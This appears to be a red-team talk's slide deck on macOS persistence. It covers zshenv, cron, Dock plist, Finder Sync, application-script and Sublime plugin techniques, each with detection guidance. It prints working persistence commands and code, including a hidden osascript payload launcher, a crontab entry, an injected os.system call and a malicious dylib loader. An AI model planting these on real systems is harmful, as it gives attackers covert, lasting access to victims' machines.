

Hey, I'm Still in Here: Modern macOS Persistence

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Agenda

- Overview of Persistence
- Baseline macOS Terms
- Persistence Techniques
 - Overview
 - Examples
 - Detection



Overview of Persistence

- Persistence is a critical step in Red Team operations
- Access to the target environment is often tied to the victim's working schedule
- Launch Agents / Launch Daemons popular on macOS





Windows to macOS

Windows	macOS
Registry	Property List Files (.plist)
Portable Executable	Mach-O Executable
Dynamically Linked Library (DLL)	Dynamic Library (Dylib)
Link Shortcuts (.LNK)	Dock Shortcuts
File Explorer	Finder
Event Tracing for Windows (ETW)	Endpoint Security Framework (ESF)



Mythic C2 for macOS

MYTHIC

Apfell

- This is a JavaScript for Automation (JXA) payload that uses Objective C API calls
- Uses a LOLBin for execution (osascript)
- Great for initial access

Poseidon

- This is a Golang payload that uses Objective C API calls and Golang functionality
- Larger Payload, but more features (like SOCKS, threading)
- Great for 2nd stage payload



Persistence Techniques

- Bash Profiles / Zsh Startup Files
- Cron Jobs
- Dock Shortcuts
- Finder Sync Plugins
- Application Scripts
- 3rd Party Plugins



Bash Profiles / Zsh Startup Files

- Bash profiles are shell scripts that contain shell commands
- Executed upon each time terminal opened in a user's context
- Bash was replaced by zshell as the default shell since macOS Catalina (10.15+)
- Key zshell files that can achieve .bash_profile functionality:
 - .zprofile
 - .zshenv
- Key difference .zshenv which is always sourced
 - E.g."zsh –c" coverage



Zshenv Example

```
itsatrap@itsatraps-Mac ~ % cat .zshenv
setopt LOCAL_OPTIONS NO_MONITOR; nohup osascript -l JavaScript /Users/Shared/apfell.js > /dev/null 2>&1&
```

- Zsh provides options to disable monitoring alerts
- Nohup allows a command or script to run without interruptions
- The rest is redirection to minimize end-user notification




Zshenv Detection

- ESF file creation events
 - ES_EVENT_TYPE_NOTIFY_CREATE
- If already present, then file rename events
 - ES_EVENT_TYPE_NOTIFY_RENAME
- Detection does not scale well
 - Supplement with execution detections (osascript, python, ruby, etc.)

Cron Jobs

Cron is a time-based job scheduler



 By adding a crontab entry it tells the scheduler to execute our command at a specified interval

Note: Initial crontab use from command-line generates a

user prompt on macOS Catalina.





Cron Jobs Example

```
itsatrap@itsatraps-Mac ~ % cat /Users/Shared/cronjob.sh
osascript -l JavaScript ~/Desktop/apfell.js&
itsatrap@itsatraps-Mac ~ % echo "$(echo '15 * * * * cd /Users/Shared/ && ./cronjob.sh')" | crontab -
itsatrap@itsatraps-Mac ~ % crontab -l
15 * * * * cd /Users/Shared/ && ./cronjob.sh
```

- This example has our persistence command under a shell script (e.g. cronjob.sh)
- Adds a job to the crontab that runs our script and thus apfell payload every 15 minutes



Cron Jobs Detection

- On macOS cron jobs are stored at
 - /private/var/at/tabs/
- Monitor file creation and rename events
 - /private/var/at/tmp
 - /private/var/at/tabs/<username>

```
File Create Event: /private/var/at/tmp/tmp.741

Event Details:

Event Type: file::create
Process: /usr/bin/crontab
Pid: 741 (Parent) -> 466
User: root
Timestamp: 1602784127900
Platform Binary: true
Signing ID: com.apple.crontab
Props:
{
    path = "/private/var/at/tmp/tmp.741";
    size = 0;
}
```

```
File Rename Event: // /private/var/at/tmp/tmp.741

Event Details:

Event Type: file::rename
Process: /usr/bin/crontab
Pid: 741 (Parent) -> 466
User: root
Timestamp: 1602784127911
Platform Binary: true
Signing ID: com.apple.crontab
Props:
{
    destdir = "/private/var/at/tabs";
    destfile = itsatrap;
    desttype = 1;
    srcpath = "/private/var/at/tmp/tmp.741";
    srcsize = 248;
}
```

```
[itsatrap@itsatraps-Mac ~ % sudo cat /private/var/at/tabs/itsatrap
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Thu Oct 15 10:48:47 2020)
# (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.24 2006/09/03 17:52:19 ru Exp $)
15 * * * * cd /Users/Shared/ && ./cronjob.sh
```



Dock Shortcuts



- The applications within the Dock are controlled by
 - ~/Library/Preferences/com.apple.dock.plist
- By modifying the plist, we can replace the applications present with our malicious application.



Dock Example

- The key fields to modify in the ~/Library/Preferences/com.apple.dock.plist are:
 - Book Contains the path to the application
 - Bundle Identifier Uniquely identifies our application in Apple's ecosystem
 - CFURLString Another field pointing to the application's location
- This modification of the Dock shortcuts are comparable to .LNK files on Windows

```
AAABAOAAVXNlcnMAAAAGAAAAAOEAAFNoYXJlZAAACgAA
AAEBAABTYWZhcmkuYXBwAAAMAAAAAOYAABAAAAAaAAA
MAAAAAgAAAAEAwAAfVMAAAMAAAAIAAAABAMAAH9TAAAD
AAAACAAAAAODAACpDAwAAwAAAAwAAAABBaAAWAAAAGaA
AAB4AAAACAAAAAAEAABBwngkSWg59xgAAAABAgAAAgAA
AAAAAAAPAAAAAAAAAAAAAAAAAAAAAAAAAEFAAAIAAAA
AQkAAGZpbGU6Ly8vDAAAAAEBAABNYWNpbnRvc2ggSEQI
AAAABAMAAABaf+sJAAAACAAAAAAEAABBwceD6M41tCOA
AAABAQAAMEE4MUYzQjEtNTFE0S0zMzM1LUIzRTMtMTY5
QzM2NDAzNjBEGAAAAAECAACBAAAAAQAAA08TAAABAAAA
AAAAAAAAAAABAAAAQEAAC8AAAC0AAAA/v///weaaaaa
AAAADqAAAAQQAABEAAAAAAAAAAAUQAACIAAAAAAAAABAQ
AACsAAAAAAAAEAQAACcAAAAAAAAAIgAABkAQAAAAAA
AAUqAADUAAAAAAAAABAqAADkAAAAAAAABEqAAAYAQAA
AAAAABIgAAD4AAAAAAAAABMgAAAIAQAAAAAAAACAgAABE
AQAAAAAAADAgAADMAAAAAAAAAAHQAADMAAAAAAAABDQ
AAAEAAAAAAAAA
   y>bundle-identifier</key>
   ring>com.apple.automator.Safari</string>
   y>dock-extra</key>
   lse/>
   y>file-data</key>
   <key>_CFURLString</key>
   <string>file:///Users/Shared/Safari.app/</string>
```

```
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript('open -a Safari');
app.doShellScript('osascript -l JavaScript ~/Downloads/apfell.js');
```



Dock Detection

 File rename event due to modification of the existing dock plist

 The only process that should be modifying the file is cfsprefsd

```
File Rename Event: // Users/itsatrap/Library/Preferences/.dat.nosync186c.wbvFWM
Event Details:

Event Type: file::rename
Process: /usr/bin/osascript
Pid: 6252 (Parent) -> 3546
User: itsatrap
Timestamp: 1599621958551
Platform Binary: true
Signing ID: com.apple.osascript
Props:
{
    destdir = "/Users/itsatrap/Library/Preferences/com.apple.dock.plist";
    destfile = "";
    desttype = 0;
    srcpath = "/Users/itsatrap/Library/Preferences/.dat.nosync186c.wbvFWM";
    srcsize = 17220;
}
```

Finder Sync Plugins


- Finder Sync plugins enables you to extend Finder's functionality by modifying the user interface
- The pluginkit daemon (pkd) registers any plugins or extensions included in the bundle when the application is first launched

The pluginkit command line tool can be used to register standalone extensions



Finder Sync Plugins Example

```
//automatically invoked when bundle is loaded
   attribute ((constructor)) static void byebyebye()
27
28
29
       // Just a message box payload
30
       NSAlert *alert = [[NSAlert alloc] init];
31
       [alert setMessageText:@"Install complete"];
32
       [alert addButtonWithTitle:@"OK"];
       [alert setAlertStyle:NSAlertStyleInformational];
34
       [alert runModal];
35 }
```



- To execute malicious code, use a module initializer (constructor)
- Constructor called when plugin is loaded
- Since Finder.app loaded at boot, our code executed with each reboot
- Example at:
 - https://github.com/D00MFist /InSync



Finder Sync Plugins Detection

- Monitor the execution of the pkg daemon (pkd)
 - /usr/libexec/pkd
- Logging the use of pluginkit binary to register a new extension
 - pluginkit -a /some/path/persist.appex
 - pluginkit -e use -i <finder sync bundle id>
- There are few files that get modified upon extension registration:
 - ~/Library/Preferences/.GlobalPreferences.plist
 - ~/Library/Containers/<BundleIdOfApp>/Container.plist
 - /private/var/folder/<#>/<RandomName>/com.apple.pluginkit./Annotations



Application Scripts

 Application scripts are simply script files that are executed by a given application.

• If an attacker has the ability to edit that script file, then we can place our code inside, and wait for the user to execute the related application for persistence.

 This persistence method is heavily dependent on the applications the user has installed.



Application Scripts Example

- Identifying script candidates
 - find /Applications/ -name "*.sh"
 - find /Applications/ -name "*.py"
 - find /Library/ -name "*.sh" -perm +0200 -user username
 - find /Library/ -name "*.py" -perm -u+w -user username
- Modified the Sublime Text Script
 - /Applications/Sublime\ Text.app/Contents/MacOS/sublime.py

```
import os
os.system("osascript -l JavaScript /Users/itsatrap/Desktop/apfell.js &")
```



Application Scripts Detection

- If identify applications that utilize scripts then can monitor for file modification events
 - These scripts are typically not modified unless the entire application is updated
- Parent -> Child Relationships
 - Odd execution of osascript from Sublime Text

```
/System/Library/LaunchAgents/com.apple.Finder.plist
/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder 344
/Applications/Sublime Text.app/Contents/MacOS/Sublime Text 2208
/Applications/Sublime Text.app/Contents/MacOS/plugin_host 2210
/usr/bin/osascript 2212
```



3rd Party Plugins

Some applications provide the ability to create plugins.

 Most often these plugins load upon application execution, providing a persistence opportunity.

 Adversaries can take advantage of this mechanism to plant malicious plugins to gain persistence.



3rd Party Plugins Example

- The abuse of Sublime Text Editor plugins requires a plugin at
 - ~/Library/Application\Support/Sublime\ Text\ <2 or 3>\Packages\
- Configure plugin to run our malicious dynamically linked library (dylib)

```
import sublime
import sublime_plugin
import sys
import ctypes
from ctypes import *

class ExampleCommand(sublime_plugin.TextCommand):
    def run(self, edit):
        self.view.insert(edit, 0, "Hello, World!")

libc = "/usr/lib/libSystem.B.dylib"
lib = ctypes.CDLL(libc)

load = "/Users/Shared/D00mfist.dylib"
handle = ctypes.CDLL(load)
```

3rd Party Plugins Detection

- File Creation and modification monitoring under the Packages folder
 - May not scale well for Applications in which plugins are prevalent
- Network Connections under the plugin_host process to addresses outside of packagecontrol.io

```
/System/Library/LaunchAgents/com.apple.Finder.plist
/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder 421
/Applications/Sublime Text.app/Contents/MacOS/Sublime Text 659
/Applications/Sublime Text.app/Contents/MacOS/plugin_host 661
```

```
"process_id":"661",
"process_name":"plugin_ho",
"connection_flow":"192.168.215.134:49569->192.168.215.183:http",
"TCP_UDP":"TCP",
"hostname":"itsatraps-Mac.local",
```



Automating Persistence

- @_D00mfist created a project to use JXA to achieve persistence for all of the methods previously discussed
- These all hook into Mythic with the jsimport and jsimport_call functions within the apfell agent

```
— jsimport {"file": "DockPersist.js"}
   Imported the script
```

```
• jsimport_call DockPersist("Safari", "com.apple.automator.Safari", "yes")Safari Persistence installed. Successfully modified ~/Library/Preferences/com.apple.dock.plist
```



Demo 3rd Party Plugin Persistence



Additional Persistence Techniques

- Launch Agents / Launch Daemons
- Login Items
- Folder Actions
- Dylib Hijacking
- Emond
- Periodics
- At jobs
- Chrome Extensions

- Plugins
 - Spotlight Importers
 - Spotlight Quicklook
 - Audio Plugins
- Login / Logout Hooks
- Calendar Events















References

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- At Jobs
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